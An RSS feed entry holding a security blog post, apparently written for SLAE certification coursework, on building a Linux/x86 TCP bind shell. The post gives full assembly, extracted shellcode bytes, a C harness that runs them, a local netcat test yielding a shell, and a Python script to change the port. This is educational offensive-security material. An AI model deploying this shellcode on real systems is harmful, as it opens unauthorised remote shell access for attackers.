<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>bind shell Archives -</title>
	<atom:link href="https://barriersec.com/category/slae/bind-shell/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/category/slae/bind-shell/</link>
	<description></description>
	<lastBuildDate>Mon, 14 Sep 2020 03:01:14 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.3</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>bind shell Archives -</title>
	<link>https://barriersec.com/category/slae/bind-shell/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Linux/x86 TCP Bind Shell Shellcode</title>
		<link>https://barriersec.com/2018/11/linux-x86-tcp-bind-shell-shellcode/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Thu, 29 Nov 2018 22:01:55 +0000</pubDate>
				<category><![CDATA[bind shell]]></category>
		<category><![CDATA[slae]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=335</guid>

					<description><![CDATA[<p>Hi All! In this post, we will see how to implement a TCP bind shell in assembly program . Objective&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/11/linux-x86-tcp-bind-shell-shellcode/">Linux/x86 TCP Bind Shell Shellcode</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hi All! In this post, we will see how to implement a TCP bind shell in assembly program .</p>
<p><strong>Objective</strong> :</p>
<p><strong>1.create a TCP bind shell shellcode which binds to a port and execs shell on incoming connection.</strong></p>
<p><strong>2. port number should be easily configurable.</strong></p>
<p>So what actually is a bind shell?</p>
<p>bind shell is a type of shell , which opens up a remote port on a victim machine , listens for incoming connection, Once received , it  forwards standard output , standard input and standard error to the received socket and finally forks a command shell.</p>
<p>So to implement our bind TCP shell, we can split the operations as follows :</p>
<ol>
<li>create a socket .</li>
<li>bind the socket to its desired attributes.</li>
<li>listen for incoming connections.</li>
<li>accept the connection.</li>
<li>redirect standard input,output and error to client socket.</li>
<li>call execve to spawn a simple shell</li>
</ol>
<p>All credits to this awesome c reference for bind tcp shell :</p>
<p><a href="https://gist.github.com/geyslan/5176234"><strong>https://gist.github.com/geyslan/5176234</strong></a></p>
<p>So before looking at the implementation, few important locations to look at and its purpose.</p>
<ol>
<li>To look at the different syscall numbers associated with syscalls, we can refer this header in location : <strong>/usr/include/i386-linux-gnu/asm/unistd_32.h</strong></li>
<li>To look at few other things related to network handling part ( codes for bind , accept, socket )  can be found at : <strong>/usr/include/linux/net.h</strong></li>
<li>To look at socket handling part : <strong>/usr/include/i386-linux-gnu/bits/socket.h</strong></li>
</ol>
<p>calling system calls from  assembly program:</p>
<p>we can call different system calls from assembly program by calling an <strong>0x80</strong> interrupt . It expects the following contents in general purpose registers before the call.</p>
<p><strong>eax &#8211; syscall number</strong></p>
<p><strong>ebx- first argument</strong></p>
<p><strong>ecx-second argument</strong></p>
<p><strong>edx &#8211; third argument</strong></p>
<p>and so on.. and finally interrupt can be called using instruction</p>
<p><strong>int 0x80</strong></p>
<p>socket creation , binding and other operations can done with the help of <strong>socketcall</strong> syscall.</p>
<p>from its man page :</p>
<pre> <b>int socketcall(int </b><i>call</i><b>, unsigned long *</b><i>args</i><b>);</b></pre>
<p><strong>socketcall syscall number : 0x66</strong>(  102 in decimal )( from unistd_32.h)</p>
<p>This is pushed on to eax register before interrupt .</p>
<p>ebx contains call number which specifies the socket task at hand(create , bind ,accept , listen etc) which can be found at : net.h</p>
<p>finally ecx should contain the actual arguments for the  <strong>call</strong> function.</p>
<p>For creation of socket , we need to make use of <strong>SYS_SOCKET</strong> . For binding socket , <strong>SYS_BIND</strong> . For listening to incoming connections : <strong>SYS_LISTEN</strong> .For accepting connections <strong>SYS_ACCEPT</strong> . ( all call numbers can be found at net.h)</p>
<p>To redirect standard input , output and standard error to incoming connection , we can make use of dup2 syscall</p>
<p><strong>dup2(clientsock, [ 0 | 1 | 2 ] )</strong></p>
<p>syscall number : <strong>0x3f</strong>( from unistd_32.h)</p>
<p>so we need to call dup2 thrice to redirect standard input, output and error to client socket once connection is accepted.</p>
<p>And finally we make use of execve syscall to spawn a shell.</p>
<pre><b>int execve(const char *</b><i>filename</i><b>, char *const</b> <i>argv</i><b>[],
char *const</b> <i>envp</i><b>[]);</b></pre>
<p>syscall number : <strong>0xb</strong>( from unistd_32.h)</p>
<p>complete assembly code for the bind tcp shellcode ( listening on port 4444) with relevant comments :</p>
<pre>global _start
 
section .text
 
_start:
	xor edx,edx ; clear out edx
	; create socket
	push 0x66
	pop eax ; syscall for socketcall

	push 0x1 
	pop ebx ; SOCKETCALL from net.h = 1

	push edx ; push 0
	push ebx ; value of SOCK_STREAM = 1 got it from header /usr/src
	push 0x2 ; value 2 from /usr/include/i386-linux-gnu/bits/socket.h
	mov ecx,esp ; move ecx to top of the stack
	int 0x80 ; call interrupt


	; store returning socket in esi for further use
	mov esi,eax


	; bind
	
	mov al, 0x66	; socketcall (102)
	pop ebx		; SYS_BIND (2)
	push edx	; INADDRY_ANY (0)
	push word 0x5c11	; htons 4444
	push bx		; AF_INET=PF_INET (2)
	mov edi, esp	; store struct address in edi
	push 0x10	; size = 16
	push edi	; address of struct is pushed onto stack
	push esi	; socketfd
	mov ecx, esp	; point ecx to top of stack 
	int 0x80		; call interrupt
	
	 
	; listen
	
	push 0x66
	pop eax ; syscall for socketcall
	xor ebx,ebx
	mov bl,0x4 ; SYS_LISTEN = 4
	push edx
	push esi
	mov ecx,esp ; finally pointer to arugments stored in ecx
	int 0x80

	; accept

	
	push 0x66
	pop eax ; syscall for socketcall
	inc ebx ; SYS_ACCEPT = 5
	push edx
	push edx
	push esi
	mov ecx,esp ; finally pointer to arugments stored in ecx
	int 0x80

	
	 

	; redirect standard input , output , error to client sock

	mov ebx,eax ; store returned client socket in ebx. ( client sock in ebx )
	xor ecx,ecx
	mov cl,0x2 ; initialize counter to 2

	redirectIO:
		mov al, 0x3f
		int 0x80
		dec ecx
		jns redirectIO
		
		
	; execve /bin/sh

	push edx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp		; /bin//sh
	mov ecx, edx	; NULL
	mov al, 0xb	 ; syscall for execve
	int 0x80</pre>
<p>Lets compile and generate shellcode from the binary :</p>
<p>&nbsp;</p>
<pre>slae@ubuntu:~/Desktop/SLAE/assignments/assignment1$ ./compile.sh btcp
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
slae@ubuntu:~/Desktop/SLAE/assignments/assignment1$ objdump -d ./btcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68\x11\x5c\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"</pre>
<p>Finally , we update our template C program :</p>
<pre>#include&lt;stdio.h&gt;
#include&lt;string.h&gt;


unsigned char code[] ="\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68\x11\x5c\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";
main()
{
	
	
	printf("Shellcode Length:  %d\n", strlen(code));

	
	int (*ret)() = (int(*)())code;

	ret();

}</pre>
<p>So lets compile and execute :</p>
<pre>$ ./shellcode</pre>
<p>on new terminal lets connect :</p>
<pre>slae@ubuntu:~$ netcat -nv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
whoami
slae</pre>
<p>&nbsp;</p>
<p>We get our bind shell!</p>
<p>So for now , we have hardcoded our bind port. we need to make it configurable for custom port. For that, we can write a simple python script to accept a custom port and generate final shellcode :</p>
<pre>#!/usr/bin/env python3
import sys
import struct
from sys import argv

port = int(argv[1])
print(" Warning : for port num &lt; 1024 please exec as root")

if port &gt; 65535 :
    print("port &gt; 65535 please provide another port")
    exit()

port = struct.pack("!H", port)
port = ("{}".format(''.join('\\x{:02x}'.format(b) for b in port)))

if "\\x00" in port:
    print(" warning : NULL  byte detected! choose different port and rerun")
    exit()

finalshellcode = """\\x31\\xd2\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\xb0\\x66\\x5b\\x52\\x66\\x68%s\\x66\\x53\\x89\\xe7\\x6a\\x10\\x57\\x56\\x89\\xe1\\xcd\\x80\\x6a\\x66\\x58\\x31\\xdb\\xb3\\x04\\x52\\x56\\x89\\xe1\\xcd\\x80\\x6a\\x66\\x58\\x43\\x52\\x52\\x56\\x89\\xe1\\xcd\\x80\\x89\\xc3\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xd1\\xb0\\x0b\\xcd\\x80""" % (port)

print("shellcode : ",finalshellcode)</pre>
<pre>./custom.py 4445
 Warning : for port num &lt; 1024 please exec as root
shellcode :  \x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68\x11\x5d\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80</pre>
<p>This shellcode has to be replaced with original one from template program and finally run to get it working .</p>
<p>link to github repo for the code :</p>
<p><a href="https://github.com/strikergoutham/SLAE_assignments">https://github.com/strikergoutham/SLAE_assignments</a></p>
<p><strong>This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.</strong></p>
<p>(<a href="https://www.pentesteracademy.com/course?id=3">https://www.pentesteracademy.com/course?id=3</a>)</p>
<p>&nbsp;</p>
<p>SLAE student ID :  <strong>SLAE – 1367</strong></p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/11/linux-x86-tcp-bind-shell-shellcode/">Linux/x86 TCP Bind Shell Shellcode</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
